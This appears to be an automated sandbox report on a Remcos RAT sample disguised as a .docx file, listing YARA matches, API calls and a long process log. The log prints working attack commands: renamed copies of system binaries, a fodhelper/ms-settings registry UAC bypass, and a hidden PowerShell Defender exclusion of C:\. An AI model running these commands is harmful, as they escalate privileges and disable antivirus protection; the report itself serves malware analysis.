Source: 0000001F.00000002.3705302881.0000000006420000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0000001F.00000002.3705302881.0000000006420000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0000001F.00000002.3705302881.0000000006420000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: Process Memory Space: colorcpl.exe PID: 7688, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winEXE@53/21@51/1

Source: C:\Users\Public\alpha.exe

Code function: 8_2_00007FF64B5632B0 _get_osfhandle,GetConsoleScreenBufferInfo,WriteConsoleW,wcschr,FormatMessageW,GetConsoleScreenBufferInfo,WriteConsoleW,GetStdHandle,FlushConsoleInputBuffer,GetConsoleMode,SetConsoleMode,_getch,SetConsoleMode,GetConsoleScreenBufferInfo,FillConsoleOutputCharacterW,SetConsoleCursorPosition,GetLastError,GetLastError,

8_2_00007FF64B5632B0

Source: C:\Users\Public\ger.exe	Code function: 24_2_00007FF7E0A03F5C GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,CloseHandle,AdjustTokenPrivileges,CloseHandle,		24_2_00007FF7E0A03F5C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_04597952 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,		31_2_04597952

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Code function: 0_2_02987F62 GetDiskFreeSpaceA,

0_2_02987F62

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Code function: 0_2_0299A174 CreateToolhelp32Snapshot,

0_2_0299A174

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Code function: 0_2_02996D58 CoCreateInstance,

0_2_02996D58

Source: C:\Users\Public\Libraries\drbdmeyP.pif

Code function: 3_2_004026B8 LoadResource,SizeofResource,FreeResource,

3_2_004026B8

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 31_2_0459AC78 OpenSCManagerW,OpenServiceW,CloseServiceHandle,ChangeServiceConfigW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

31_2_0459AC78

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

File created: C:\Users\Public\Libraries\PNO

Jump to behavior

Source: C:\Windows\SysWOW64\colorcpl.exe	Mutant created: \Sessions\1\BaseNamedObjects\Rmc-5MRRQ3
Source: C:\Users\Public\xkn.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2936:120:WilError_03

Source: C:\Users\Public\Libraries\drbdmeyP.pif

File created: C:\Users\user\AppData\Local\Temp\D2F6.tmp

Jump to behavior

Source: C:\Users\Public\Libraries\drbdmeyP.pif

Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\D2F6.tmp\D2F7.tmp\D2F8.bat C:\Users\Public\Libraries\drbdmeyP.pif"

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Windows\System32\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "SystemSettings.exe")

Source: C:\Users\Public\Libraries\drbdmeyP.pif

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	ReversingLabs: Detection: 44%
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Virustotal: Detection: 50%

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

File read: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe "C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe"
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process created: C:\Users\Public\Libraries\drbdmeyP.pif C:\Users\Public\Libraries\drbdmeyP.pif
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\D2F6.tmp\D2F7.tmp\D2F8.bat C:\Users\Public\Libraries\drbdmeyP.pif"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\extrac32.exe C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
Source: C:\Users\Public\alpha.exe	Process created: C:\Windows\System32\extrac32.exe extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
Source: C:\Users\Public\alpha.exe	Process created: C:\Windows\System32\extrac32.exe extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
Source: C:\Users\Public\alpha.exe	Process created: C:\Windows\System32\extrac32.exe extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
Source: C:\Users\Public\alpha.exe	Process created: C:\Users\Public\xkn.exe C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
Source: C:\Users\Public\xkn.exe	Process created: C:\Users\Public\alpha.exe "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
Source: C:\Users\Public\alpha.exe	Process created: C:\Users\Public\ger.exe C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process created: C:\Windows\SysWOW64\extrac32.exe C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe C:\\Users\\Public\\Libraries\\Pyemdbrd.PIF
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows \System32\per.exe "C:\\Windows \\System32\\per.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
Source: C:\Users\Public\alpha.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM SystemSettings.exe
Source: unknown	Process created: C:\Windows\System32\SystemSettingsAdminFlows.exe "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process created: C:\Users\Public\Libraries\drbdmeyP.pif C:\Users\Public\Libraries\drbdmeyP.pif	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process created: C:\Windows\SysWOW64\extrac32.exe C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe C:\\Users\\Public\\Libraries\\Pyemdbrd.PIF	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exe	Jump to behavior
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\D2F6.tmp\D2F7.tmp\D2F8.bat C:\Users\Public\Libraries\drbdmeyP.pif"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\extrac32.exe C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows \System32\per.exe "C:\\Windows \\System32\\per.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\Public\alpha.exe	Process created: C:\Windows\System32\extrac32.exe extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"	Jump to behavior
Source: C:\Users\Public\alpha.exe	Process created: C:\Windows\System32\extrac32.exe extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"	Jump to behavior
Source: C:\Users\Public\alpha.exe	Process created: C:\Windows\System32\extrac32.exe extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"	Jump to behavior
Source: C:\Users\Public\alpha.exe	Process created: C:\Users\Public\xkn.exe C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "	Jump to behavior
Source: C:\Users\Public\xkn.exe	Process created: C:\Users\Public\alpha.exe "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""	Jump to behavior
Source: C:\Users\Public\alpha.exe	Process created: C:\Users\Public\ger.exe C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
Source: C:\Users\Public\alpha.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM SystemSettings.exe
Source: C:\Users\Public\alpha.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: aclui.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: url.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
